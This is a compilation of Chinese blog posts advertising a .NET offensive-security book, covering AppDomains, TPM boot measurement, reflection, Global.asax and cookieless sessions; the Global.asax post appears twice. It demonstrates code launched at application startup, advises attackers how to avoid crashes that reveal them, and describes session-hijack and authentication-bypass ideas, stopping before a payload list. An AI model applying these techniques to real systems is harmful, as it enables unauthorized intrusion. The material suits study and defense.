在传统的非托管编程中，比如 C++，每个应用程序都直接运行在自己的操作系统进程中。这种模型提供了天然的隔离性：一个进程的崩溃不会影响到其他进程，操作系统会负责分配和管理资源。然而，这种隔离方式的代价是昂贵的，创建和切换进程需要大量的系统开销。

.NET 框架的出现，带来了一种全新的解决方案：AppDomain，它提供了一种轻量级、逻辑上的隔离机制，允许多个 .NET 应用程序在同一个操作系统进程中安全地运行，而彼此之间互不影响。

这就像在一个物理房间中，用透明的玻璃墙隔出多个独立的虚拟房间，每个房间都拥有自己的环境和规则。更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

AppDomain，即应用程序域，是 .NET 运行时（CLR）提供的一种核心概念。本质是一个虚拟沙箱，用于在单个操作系统进程中托管一个或多个 .NET 程序集。每个 AppDomain 都拥有自己的独立环境，这赋予了它几个关键的能力：

• 隔离与容错：一个 AppDomain 的崩溃不会导致整个进程的崩溃，它只会影响该域内部的程序集。这对于需要高稳定性的应用程序（如 Web 服务器）至关重要。

• 资源隔离：每个 AppDomain 都维护着自己的 Loader Heap（加载堆），用于存储其加载的程序集和类型信息。这确保了不同 AppDomain 之间的程序集不会相互干扰。

• 安全控制：AppDomain 能够为加载的程序集设置不同的安全策略和权限，从而限制其可以执行的操作，提供了额外的安全层。

一个典型的应用场景是 .NET Web 应用程序。在大型服务器上，不同的 Web 站点或应用程序通常会被托管在各自的 AppDomain 中，这样可以实现站点之间的隔离，即使某个站点发生错误或需要重启，也不会影响到其他站点。

尽管 AppDomain 提供了强大的隔离，但为了优化性能，CLR 仍然允许某些核心程序集中的类型在所有 AppDomain 之间共享。例如，mscorlib.dll 中的 System.Object 和 System.Int32 等基础类型，只会被加载到特殊的“共享加载堆”中一次。这种机制避免了重复加载和编译，显著提升了内存利用率和启动速度。

AppDomain 的隔离特性使得它们之间无法直接通信。为了解决这个问题，CLR 引入了 Remoting 机制。一个继承自 MarshalByRefObject 的类型，其对象可以被跨 AppDomain 引用。

当一个 AppDomain 访问另一个 AppDomain 中的此类对象时，CLR 会通过 Remoting 机制在底层进行代理，实现透明的跨域通信。AppDomain 类本身就继承自 MarshalByRefObject，这使得我们可以通过代理对象来控制和操作其他应用程序域。

3.1 默认应用域信息

当一个 .NET 程序启动时，CLR 会自动创建一个默认的 AppDomain，并将主程序集加载到其中。我们可以通过 AppDomain.CurrentDomain 属性来获取当前域的信息。

AppDomain appDomain = AppDomain.CurrentDomain;Console.WriteLine($"默认应用程序域名称：{appDomain.FriendlyName}");Console.WriteLine($"应用程序域所在进程 ID：{appDomain.Id}");Console.WriteLine($"基础目录：{appDomain.BaseDirectory}");Console.WriteLine("加载的程序集列表：");foreach(var assembly in appDomain.GetAssemblies()){    Console.WriteLine($"-> Name:  {assembly.GetName().Name}");    Console.WriteLine($"-> Version: {assembly.GetName().Version}");}

这段代码会输出当前应用程序域的名称、ID、基础目录，并列出所有已加载的程序集，这对于程序调试和分析非常有帮助。

3.2 创建和管理应用域

除了默认域，我们还可以通过 AppDomain.CreateDomain 方法创建新的应用程序域，并在其中加载和执行代码，实现模块的动态隔离与扩展。

var newDomain = AppDomain.CreateDomain("NewAppDomain");Console.WriteLine($"新应用程序域名称：{newDomain.FriendlyName}");newDomain.Load("Sharp4DLL");foreach(var assembly in newDomain.GetAssemblies()){    Console.WriteLine($"-> Name:  {assembly.GetName().Name}");}

此示例展示了如何创建一个名为“NewAppDomain”的新域，并将一个外部程序集 Sharp4DLL.dll 加载到其中。这确保了 Sharp4DLL 的运行不会影响到主应用程序域。

3.3 跨域执行代码

AppDomain类的 ExecuteAssembly 方法提供了一种在指定应用程序域中执行外部可执行文件的方式。

AppDomain domain = AppDomain.CurrentDomain;domain.ExecuteAssembly("D:\\bin\\Debug\\Sharp4Startcalc.exe");

这行代码会在当前的 AppDomain 中加载并执行 Sharp4Startcalc.exe。尽管它看起来像是在启动一个新进程，但实际上 ExecuteAssembly 会在当前进程中执行目标程序集的 Main 方法，实现了一种“轻量级多进程”的效果。

综上，AppDomain 是 .NET 框架提供的一个强大且独特的功能，它在保证性能的同时，为应用程序提供了关键的隔离和安全边界。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

通过灵活运用 CreateDomain、Load 等方法，开发者可以构建出更加健壮、安全、可扩展的系统，尤其是在需要插件化、动态模块加载或安全沙箱等场景下，AppDomain 是不可或缺的核心技术。

以上知识点已收录于新书《.NET安全攻防指南》，并且有完整详细的介绍。另外，全书共计25章，总计1010页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在云计算、大数据业务深度融合的当下，服务器底层固件与系统启动链路的安全，已然成为企业信息安全的最后防线。传统软件层面的防护手段，面对固件级篡改、内核级 Rootkit 往往束手无策，重装系统、更换硬盘都无法彻底清除威胁。而 TPM作为硬件可信根，凭借独立于操作系统的硬件级安全能力，构建起从上电到业务运行的全链路信任体系，成为筑牢底层安全的核心技术。

可信计算技术是一种基于密码学的计算机安全技术，其核心目标是确保硬件、操作系统、应用等组件的完整性，从而确保业务运行在可信的环境中。

可信计算的本质，是建立一条从硬件原点出发、逐级传递、不可篡改的信任链，实现 “硬件可信、固件可信、系统可信、应用可信” 的全流程安全校验。其核心逻辑在于：只有上一级组件被验证为可信，才能将信任传递至下一级，任何环节的篡改都会导致信任链断裂，从根源上杜绝恶意代码的隐匿驻留与执行。

传统安全防护聚焦于操作系统及上层应用，属于 “软件防护软件”，存在天然短板：防护程序本身可被劫持、篡改，无法抵御底层固件级攻击。而可信计算跳出软件层面，以硬件芯片为信任起点，构建硬件 - 固件 - 系统 - 应用的立体防护体系，彻底改变了安全防护的底层逻辑。

TPM 是一款独立于 CPU、操作系统的硬件安全芯片，是整个可信计算体系的信任根（Root of Trust）。它具备独立的运算、存储能力，内置不可篡改的加密引擎、密钥存储区与平台配置寄存器，全程不依赖宿主系统运行，即便系统被完全攻陷，TPM 内部的核心数据与校验结果依然无法被篡改。

在企业级服务器场景中，TPM 并非可选配件，而是云原生业务的标配硬件：无论是浪潮、华为等国产服务器，还是主流国际品牌服务器，出厂时均已集成 TPM2.0 芯片或国产 TCM 可信密码模块，成为服务器硬件的原生组成部分。

TPM 内部的PCR（Platform Configuration Register，平台配置寄存器），是实现信任链校验的核心载体，并非传统意义上的永久存储介质，而是临时存储启动链路哈希度量结果的硬件寄存器，具备 “掉电清零、重启重算、链式延展” 的核心特性。

每一次服务器上电，PCR 寄存器会先完成复位清零，随后随着启动流程逐级计算、更新哈希值，全程记录启动链路每一个组件的完整性状态。只要任意一个组件被篡改，当前 PCR 值及后续所有 PCR 值都会发生根本性变化，篡改痕迹无法掩盖、无法擦除。

TPM 的信任链覆盖服务器通用启动全流程，无论何种品牌物理机、何种 Linux 发行版，均遵循统一的度量标准，各环节与 PCR 寄存器一一对应

• PCR0：UEFI/BIOS 固件度量

  服务器上电后，TPM 首先对主板 SPI Flash 中的 BIOS 固件镜像、CPU 微码进行哈希计算，记录底层固件的完整性，这是整个信任链的起点。

• PCR1：BIOS 配置与硬件初始化度量

  对 BIOS 配置参数（启动顺序、硬件开关、安全策略）、PCIe 设备初始化代码进行度量，即便仅修改 BIOS 设置，也会触发 PCR1 值变更。

• PCR2：UEFI 驱动度量

  对主板硬件驱动、存储 / 网卡固件驱动进行完整性校验，杜绝恶意 UEFI 驱动加载。

• PCR3：GRUB2 引导程序度量

  UEFI 加载 Linux 系统引导程序 GRUB2 时，对 GRUB2 本体进行哈希计算，校验引导程序是否被篡改。

• PCR4：Linux 内核与初始化文件系统度量

  GRUB2 加载 Linux 内核（vmlinuz）、临时根文件系统（initramfs）时，对内核镜像、启动参数进行核心度量，这是系统层最关键的安全校验环节。

从 PCR5 至 PCR7，会继续对系统分区、启动配置等组件进行补充度量，从硬件固件到系统内核，无一例外被纳入 TPM 度量范围。任何环节的度量失败，都会导致信任链断裂，从硬件层面标记设备为不可信状态。

TPM 本身不具备主动联网、主动上报能力，其与 Linux 系统的交互，依托内核级驱动实现，对外暴露标准化字符设备接口：

• /dev/tpm0：TPM 主通信接口，作为系统与 TPM 芯片的 “通信管道”，用于下发指令、读取寄存器数据；
• /dev/tpmrm0：TPM 资源管理接口，负责调度 TPM 运算资源，保障多进程调用稳定性。

上述接口并非存储哈希数据的物理文件，而是系统访问 TPM 硬件的唯一入口，所有数据均为实时从 TPM 芯片读取，无本地缓存、无法被软件篡改。在生产环境中，TPM 度量数据的流转，遵循 “硬件采集 - 代理上报 - 中台校验” 的标准化流程：

• 硬件度量：服务器启动过程中，TPM 自动完成全链路 PCR 哈希计算，结果存储于内部寄存器；

• 代理采集：系统启动后，部署在物理机上的自研可信 Agent（守护进程），通过 Linux 内核 TPM 驱动，读取/dev/tpm0接口，获取实时 PCR 值与启动度量日志；
• 加密上报：Agent 通过内网加密协议（HTTPS/RPC），将设备标识、PCR 数据上报至后端可信安全中台；
• 基线比对：中台将实时 PCR 数据，与设备首次合规上线的可信基线白名单比对，判定设备是否可信。

TPM 可信根作为硬件级安全基石，彻底重构了底层安全防护体系，打破了软件防护 的传统局限。在云原生业务场景中，TPM 通过构建不可断裂的硬件信任链，实现了从服务器上电到业务运行的全流程完整性校验，成为抵御底层攻击、筑牢安全防线的核心技术。

对于企业而言，TPM 的价值不仅在于安全防护，更在于实现了安全与业务可用性的平衡：既不盲目追求极致安全导致业务中断，也不妥协可用性放弃底层防护。随着固件级安全威胁日益增多，TPM 可信根必将成为企业服务器的标配安全能力，支撑起数字业务的底层安全底座。

跳转微信打开

在.NET框架的核心技术体系中，反射是一项极具灵活性和扩展性的关键技术，程序在运行过程中，能够动态访问、探测并操作自身或外部程序集的类型信息、对象成员，打破了传统编程中编译时绑定类型的限制。

简单来说，反射允许我们在编译阶段未知目标类型具体结构的情况下，依然能够加载程序集、创建对象实例、调用对象方法、访问或修改对象的属性与字段。这种动态特性，使得反射广泛应用于框架开发、插件化架构、序列化与反序列化、依赖注入等高级场景，是.NET生态中不可或缺的核心技术之一。

接下来，我们将从反射的核心操作入手，结合具体的实验代码，详细讲解反射在实际开发中的常用用法，帮助读者彻底掌握这一技术。更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

反射的核心依托于.NET的元数据（Metadata）——每一个.NET程序集（.dll或.exe）中，除了可执行代码外，还包含了描述程序集中所有类型、成员、访问修饰符等信息的元数据。反射本质上就是对这些元数据的读取与操作，而System.Reflection命名空间则提供了所有用于实现反射操作的类和方法，其中最核心的就是Type类。

在反射操作中，获取类型的成员，包括方法、属性、字段、构造函数等是最基础的操作。Type类提供了GetMembers()方法，专门用于获取当前类型的所有成员，该方法支持通过BindingFlags枚举来筛选所需的成员，实现精准获取。

我们以.NET所有类型的基类object为例，通过反射获取其所有公共静态成员和公共实例成员，并输出每个成员的名称和类型。实验代码如下：

using System;
using System.Reflection; // 引入反射命名空间
namespaceReflectionDemo
{
classProgram
    {
staticvoidMain(string[] args)
        {
// 1. 获取object类型的Type对象
            Type objectType = typeof(object);
// 2. 获取object类型的所有公共静态、公共实例成员
            MemberInfo[] members = objectType.GetMembers(
                BindingFlags.Public | BindingFlags.Static | BindingFlags.Instance
            );
// 3. 遍历所有成员，输出成员名称和成员类型
            Console.WriteLine("object类的所有公共成员：");
foreach (var member in members)
            {
// 输出格式：成员名 + 成员类型
                Console.WriteLine($"{member.Name} is a {member.MemberType}");
            }
        }
    }
}

1. typeof(object)：直接通过类型名获取object类型的Type对象，这是获取已知类型Type对象的最常用方式；

2. GetMembers(BindingFlags.Public | BindingFlags.Static | BindingFlags.Instance) 组合三个标志，筛选出object类中所有公共的静态成员和实例成员；

3. MemberInfo类：封装了成员的基本信息，通过其Name属性可获取成员名称，MemberType属性可获取成员类型，比如Method、Property、Constructor 等。

运行程序后，控制台将输出object类的所有公共成员，包括ToString()、Equals(object)、GetHashCode()、GetType()等方法，以及ReferenceEquals静态方法等，具体结果如图所示。

通过反射，我们可以在运行时动态调用目标类型的方法，无论该方法是实例方法还是静态方法。其核心流程为：先通过Type类的GetMethod()方法获取目标方法的MethodInfo对象，再通过MethodInfo对象的Invoke()方法执行该方法。

实例方法必须依赖对象实例才能调用，我们以字符串类型（string）的Substring(int startIndex, int length)方法为例，通过反射动态调用该方法，实现字符串截取。实验代码如下：

using System;
using System.Reflection;
namespaceReflectionCallMethod
{
classProgram
    {
staticvoidMain(string[] args)
        {
// 1. 创建字符串实例
string str = "hello";
// 2. 获取string类型的Type对象
            Type stringType = str.GetType();
// 3. 获取Substring方法（参数为int和int）
// 第一个参数：方法名；第二个参数：参数类型数组
            MethodInfo substringMethod = stringType.GetMethod(
"Substring", 
new Type[] { typeof(int), typeof(int) }
            );
// 4. 调用Substring方法
// 第一个参数：字符串实例；第二个参数：方法参数（startIndex=0，length=4）
object result = substringMethod.Invoke(str, newobject[] { 0, 4 });
// 5. 输出结果
            Console.WriteLine("字符串截取结果：" + result.ToString());
// 也可使用MessageBox展示结果（需引入System.Windows.Forms命名空间）
// MessageBox.Show(result.ToString());
        }
    }
}

1. str.GetType()：通过字符串实例获取string类型的Type对象，适用于运行时已知对象实例的场景；

2. GetMethod("Substring", new Type[] { typeof(int), typeof(int) })：精准匹配Substring的重载方法（接收两个int参数），避免因方法重载导致获取错误；

3. substringMethod.Invoke(str, new object[] { 0, 4 })：调用实例方法，传入字符串实例str和参数数组，等价于直接调用str.Substring(0, 4)；

运行结果：控制台输出“字符串截取结果：hell”，对应原文图所示效果。

反射的另一核心用途是在运行时动态创建类型实例，无需在编译时使用new关键字实例化对象。.NET提供了多种动态创建实例的方式，其中最常用、最便捷的是使用Activator类的CreateInstance()方法，该方法支持调用目标类型的无参构造函数和有参构造函数。

我们以System.Numerics.BigInteger 为例，通过反射动态创建其无参实例和有参实例，实验代码如下：

using System;
using System.Numerics; // 需引用System.Numerics程序集
using System.Reflection;
namespaceReflectionCreateInstance
{
classProgram
    {
staticvoidMain(string[] args)
        {
// 1. 获取BigInteger类型的Type对象
            Type bigIntType = typeof(BigInteger);
// 2. 调用无参构造函数，创建BigInteger实例
object bigIntInstance1 = Activator.CreateInstance(bigIntType);
            Console.WriteLine("无参构造函数创建的实例：" + bigIntInstance1);
// 3. 调用有参构造函数（传入int类型参数123），创建BigInteger实例
object bigIntInstance2 = Activator.CreateInstance(bigIntType, 123);
            Console.WriteLine("有参构造函数创建的实例：" + bigIntInstance2);
        }
    }
}

1. typeof(BigInteger)：获取BigInteger类型的Type对象，需提前引用System.Numerics程序集；

2. Activator.CreateInstance(bigIntType)：调用BigInteger的无参构造函数，创建实例，BigInteger无参构造函数默认初始化值为0；

3. Activator.CreateInstance(bigIntType, 123)：调用BigInteger的有参构造函数（接收一个int类型参数），传入123，创建值为123的实例；

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

反射虽然提供了极高的灵活性，但在使用过程中也需要注意以下几点，避免出现问题：

1. 性能损耗：反射是通过动态解析元数据实现操作，相比直接调用代码，存在一定的性能损耗，因此在高频调用场景（如循环中）应尽量避免使用反射；

2. 权限问题：反射可以访问类型的非公共成员，可能会破坏面向对象的封装原则，使用时需谨慎，避免滥用；

3. 版本兼容性：若目标类型的成员（如方法名、参数类型）发生变更，反射代码会抛出异常，需做好异常处理，确保版本兼容性；

4. 命名空间引用：使用反射相关类（如Type、MethodInfo、Activator）时，需确保引入System.Reflection命名空间，部分类型（如BigInteger）还需引用对应程序集。

反射是.NET中实现动态编程的核心技术，通过Type类、MethodInfo类和Activator类，我们可以实现获取类型成员、调用方法、创建实例等核心操作。掌握反射的用法，能够为后续学习.NET高级框架和开发高扩展性程序奠定基础。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计超1000页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在.NET Web开发中，有许多幕后支撑着应用的稳定运行，Global.asax文件便是其中最关键的一员。它藏在应用根目录下，看似低调，却掌控着整个.NET应用的生命周期命脉，是连接框架与业务逻辑的核心枢纽。

无论是新手入门.NET开发，还是开发者排查应用启动、运行异常，读懂Global.asax的作用与用法，都是必备的基础能力。

本文我们就以通俗的语言、清晰的案例，带大家全面解锁这个.NET应用的全局管家，揭开它的神秘面纱。更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

在.NET应用程序的开发世界里，有一个看似不起眼却暗藏大权的文件——Global.asax，它被誉为应用程序的全局管家，默默掌控着整个应用的核心生命周期事件，支撑着程序的稳定运行。

对于刚接触.NET开发的新手来说，它可能只是根目录下一个陌生的文件，但了解它的作用，能让你更深入地理解.NET应用的运行机制，轻松应对各类高级开发场景。

首先我们明确一个基础认知：通常情况下，每一个.NET应用程序都会包含一个名为Global.asax的文件，它的核心职责是处理应用程序层面的高级事件，相当于整个应用的总调度中心。

这里的高级事件，并非我们日常操作中点击按钮、输入文字这类用户交互事件，而是关乎应用程序生死存亡和运行状态的关键节点。

具体来说，Global.asax主要包含以下列表事件，如表所示。

这些事件覆盖了应用程序从启动、接收请求，到会话管理、错误处理，再到最终销毁的全生命周期，每一个事件都对应着应用运行中的一个关键节点，开发者可以通过Global.asax自定义这些事件的处理逻辑，实现个性化的应用需求。其中，Application_Start事件作为应用程序启动时触发的核心事件，默认承载了MVC应用的多项基础配置。

我们可以通过一个简单实验，直观理解它的触发时机和作用，在默认的MVC应用中，Global.asax文件的Application_Start事件里，系统已经预先注册了区域、全局筛选器、路由配置、资源绑定等核心方法，这些方法是MVC应用能够正常运行的基础。

我们可以在该事件的末尾追加一行代码，实现应用启动时自动启动本地计算器的效果，具体代码如下：

publicclassMvcApplication:System.Web.HttpApplication{protectedvoidApplication_Start(){        AreaRegistration.RegisterAllAreas();        FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);        RouteConfig.RegisterRoutes(RouteTable.Routes);        BundleConfig.RegisterBundles(BundleTable.Bundles);        Process.Start("calc");}}

1.  将上述代码替换原有Global.asax文件中的对应内容，确保代码格式正确，需引用System.Diagnostics命名空间，确保Process类可正常使用；

2.  启动MVC应用调试，系统会按照默认配置尝试打开/Home/Index页面；

3.  观察现象：此时会发现，在/Home/Index页面尚未加载完成、无任何页面输出之前，本地计算器进程已经被自动启动。

实验清晰地证明了Application_Start事件的触发时机，在HttpApplication被创建、应用程序正式启动时立即触发，且先于页面请求和加载执行。

默认情况下，它负责完成MVC应用的基础配置，而我们追加的代码，会随着该事件的触发同步执行。

这也进一步印证了：开发者可以通过自定义Application_Start事件的处理逻辑，在应用启动时完成各类初始化操作，满足个性化开发需求。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

或许有同学会好奇，这个全局管家是否是.NET应用的必需品？答案是：并非必需，但不可或缺。Global.asax文件是可选的——如果你的应用不需要自定义处理上述高级事件，完全可以删除它。

此时，应用程序会自动采用.NET框架中HttpApplication类提供的默认行为，确保程序能够正常运行，不会因为缺少这个文件而崩溃。

这就好比我们家里的电器，即使不手动设置个性化模式，它也会按照出厂默认设置正常工作，满足基本使用需求。

值得注意的是，Global.asax文件有一个唯一性规则：每个.NET应用程序的根目录下，只能存在一个这样的文件。

这是因为它负责全局事件的统一处理，若存在多个，会导致事件调度混乱，进而引发应用程序运行异常。

就像一个家庭只能有一个管家统筹事务，多了反而会各司其职、相互冲突，影响整体运转效率。

还有一个容易被忽略的关键细节：Global.asax文件并非一开始就处于激活状态。当用户第一次请求应用程序中的任何资源或任何URL时，.NET框架会自动将这个文件编译成一个.NET HttpApplication类。

也就是说，它是按需激活的，只有在应用被首次访问时，才会完成编译，正式履行全局管家的职责，这样的设计也能有效节省应用启动时的资源消耗。

简单总结一下，Global.asax文件就像是.NET应用的总指挥：它可选存在、唯一存在，在应用首次被访问时激活，专门处理应用生命周期中的核心事件，若缺失则采用默认行为。

理解它的作用，不仅能帮助我们在开发中灵活自定义应用的运行规则，还能在排查应用启动、会话管理等相关问题时，快速找到问题根源，让.NET应用开发更高效、更顺畅。

需要特注意的是，在实战攻防对抗场景中，不适合上传或替换Global.asax文件。这是因为Global.asax文件承载着应用程序的核心初始化配置（如前文实验中提到的区域注册、路由配置等），若直接上传新的Global.asax文件，会覆盖原有文件中的核心配置代码，导致应用程序初始化失败、出现崩溃，反而会暴露攻击痕迹，影响攻防对抗的隐蔽性和有效性。因此，在实战场景中，可通过其他的方式实现需求，降低应用崩溃的风险。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计超1000页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在.NET Web开发中，有许多幕后支撑着应用的稳定运行，Global.asax文件便是其中最关键的一员。它藏在应用根目录下，看似低调，却掌控着整个.NET应用的生命周期命脉，是连接框架与业务逻辑的核心枢纽。

无论是新手入门.NET开发，还是开发者排查应用启动、运行异常，读懂Global.asax的作用与用法，都是必备的基础能力。

本文我们就以通俗的语言、清晰的案例，带大家全面解锁这个.NET应用的全局管家，揭开它的神秘面纱。更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

在.NET应用程序的开发世界里，有一个看似不起眼却暗藏大权的文件——Global.asax，它被誉为应用程序的全局管家，默默掌控着整个应用的核心生命周期事件，支撑着程序的稳定运行。

对于刚接触.NET开发的新手来说，它可能只是根目录下一个陌生的文件，但了解它的作用，能让你更深入地理解.NET应用的运行机制，轻松应对各类高级开发场景。

首先我们明确一个基础认知：通常情况下，每一个.NET应用程序都会包含一个名为Global.asax的文件，它的核心职责是处理应用程序层面的高级事件，相当于整个应用的总调度中心。

这里的高级事件，并非我们日常操作中点击按钮、输入文字这类用户交互事件，而是关乎应用程序生死存亡和运行状态的关键节点。

具体来说，Global.asax主要包含以下列表事件，如表所示。

这些事件覆盖了应用程序从启动、接收请求，到会话管理、错误处理，再到最终销毁的全生命周期，每一个事件都对应着应用运行中的一个关键节点，开发者可以通过Global.asax自定义这些事件的处理逻辑，实现个性化的应用需求。其中，Application_Start事件作为应用程序启动时触发的核心事件，默认承载了MVC应用的多项基础配置。

我们可以通过一个简单实验，直观理解它的触发时机和作用，在默认的MVC应用中，Global.asax文件的Application_Start事件里，系统已经预先注册了区域、全局筛选器、路由配置、资源绑定等核心方法，这些方法是MVC应用能够正常运行的基础。

我们可以在该事件的末尾追加一行代码，实现应用启动时自动启动本地计算器的效果，具体代码如下：

publicclassMvcApplication:System.Web.HttpApplication{protectedvoidApplication_Start(){        AreaRegistration.RegisterAllAreas();        FilterConfig.RegisterGlobalFilters(GlobalFilters.Filters);        RouteConfig.RegisterRoutes(RouteTable.Routes);        BundleConfig.RegisterBundles(BundleTable.Bundles);        Process.Start("calc");}}

1.  将上述代码替换原有Global.asax文件中的对应内容，确保代码格式正确，需引用System.Diagnostics命名空间，确保Process类可正常使用；

2.  启动MVC应用调试，系统会按照默认配置尝试打开/Home/Index页面；

3.  观察现象：此时会发现，在/Home/Index页面尚未加载完成、无任何页面输出之前，本地计算器进程已经被自动启动。

实验清晰地证明了Application_Start事件的触发时机，在HttpApplication被创建、应用程序正式启动时立即触发，且先于页面请求和加载执行。

默认情况下，它负责完成MVC应用的基础配置，而我们追加的代码，会随着该事件的触发同步执行。

这也进一步印证了：开发者可以通过自定义Application_Start事件的处理逻辑，在应用启动时完成各类初始化操作，满足个性化开发需求。

免责声明：此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等进行检测或维护参考，未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。任何未经授权的网络渗透、入侵或对他人网络破坏的活动而造成的直接或间接后果和损失，均由使用者为自身的行为负责并承担全部的法律和连带责任，与本号及作者无关，请务必遵循相关法律法规。本文所提供的工具仅用于学习和本地安全研究和测试，禁止用于其他方面。

或许有同学会好奇，这个全局管家是否是.NET应用的必需品？答案是：并非必需，但不可或缺。Global.asax文件是可选的——如果你的应用不需要自定义处理上述高级事件，完全可以删除它。

此时，应用程序会自动采用.NET框架中HttpApplication类提供的默认行为，确保程序能够正常运行，不会因为缺少这个文件而崩溃。

这就好比我们家里的电器，即使不手动设置个性化模式，它也会按照出厂默认设置正常工作，满足基本使用需求。

值得注意的是，Global.asax文件有一个唯一性规则：每个.NET应用程序的根目录下，只能存在一个这样的文件。

这是因为它负责全局事件的统一处理，若存在多个，会导致事件调度混乱，进而引发应用程序运行异常。

就像一个家庭只能有一个管家统筹事务，多了反而会各司其职、相互冲突，影响整体运转效率。

还有一个容易被忽略的关键细节：Global.asax文件并非一开始就处于激活状态。当用户第一次请求应用程序中的任何资源或任何URL时，.NET框架会自动将这个文件编译成一个.NET HttpApplication类。

也就是说，它是按需激活的，只有在应用被首次访问时，才会完成编译，正式履行全局管家的职责，这样的设计也能有效节省应用启动时的资源消耗。

简单总结一下，Global.asax文件就像是.NET应用的总指挥：它可选存在、唯一存在，在应用首次被访问时激活，专门处理应用生命周期中的核心事件，若缺失则采用默认行为。

理解它的作用，不仅能帮助我们在开发中灵活自定义应用的运行规则，还能在排查应用启动、会话管理等相关问题时，快速找到问题根源，让.NET应用开发更高效、更顺畅。

需要特注意的是，在实战攻防对抗场景中，不适合上传或替换Global.asax文件。这是因为Global.asax文件承载着应用程序的核心初始化配置（如前文实验中提到的区域注册、路由配置等），若直接上传新的Global.asax文件，会覆盖原有文件中的核心配置代码，导致应用程序初始化失败、出现崩溃，反而会暴露攻击痕迹，影响攻防对抗的隐蔽性和有效性。因此，在实战场景中，可通过其他的方式实现需求，降低应用崩溃的风险。

以上相关的知识点已收录于新书《.NET安全攻防指南》，全书共计25章，总计超1000页，分为上下册，横跨.NET Web代码审计与红队渗透两大领域。

上册深入剖析.NET Web安全审计的核心技术，帮助读者掌握漏洞发现与修复的精髓；下册则聚焦于.NET逆向工程与攻防对抗的实战技巧，揭秘最新的对抗策略与技术方法。

原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

跳转微信打开

在Web安全对抗过程中，安全人员往往会聚焦于身份验证逻辑、输入验证、SQL 注入或文件上传等核心高危区域。但一些配置项层面的疏忽，往往隐藏着攻击面更广、危害更持久的风险。

本文将聚焦 .NET 的 cookieless 配置项，从配置机制到绕过技术，再到现实漏洞案例，深入剖析这种非 Cookie 会话机制如何被滥用，造成 DLL 泄露与身份绕过等严重后果。

更详细知识点已收录于新书《.NET安全攻防指南》，并且有完整的介绍，原价258元，现限量优惠，数量有限！点击京东链接打开手机京东APP即可下单购买。

在.NET中，Cookieless 是一种会话状态管理的选项，用于控制Session ID用户会话标识符的传递方式。通常会话状态信息是通过使用浏览器的Cookie来存储和传递的，但在一些情况下，可能因为浏览器配置或安全设置等原因无法使用Cookie。

在默认配置下，.NET 与大多数 Web 框架一样，使用浏览器 Cookie 存储 Session ID，例如：

Cookie: ASP.NET_SessionId=xyz123

当将 <sessionState cookieless="true" /> 配置开启后，.NET 不再依赖 Cookie，而是将 SessionID 注入进 URL 地址中，形成如下格式：

http://target-app/(S(session-id))/default.aspx

这种机制是为了兼容客户端不支持 Cookie 的情况而设计的。但在 Web 安全环境中，这种设计显然存在以下重大安全隐患。

2.1 会话标识明文泄露

由于 SessionID 被嵌入在 URL 中，所有跳转、链接、日志、Referer 中都可能携带完整的 (S(session-id)) 信息：

GET /uploads/(S(ybgzoikr52kbbdy5lfoqnnsl))/file.aspx HTTP/1.1

攻击者只需从日志、HTTP Referer 或浏览器历史记录中读取 SessionID，即可直接复用受害者的会话，造成会话劫持（Session Hijacking）。

2.2 DLL泄露下载

在红队实战中，如果遇到以下授权保护页面，尝试访问会触发 Windows 身份认证弹窗拦截。

以前可能就放弃或者找其他的解决办法，现在可以用URL会话ID的方式绕过，常用的Bypass Payload如下

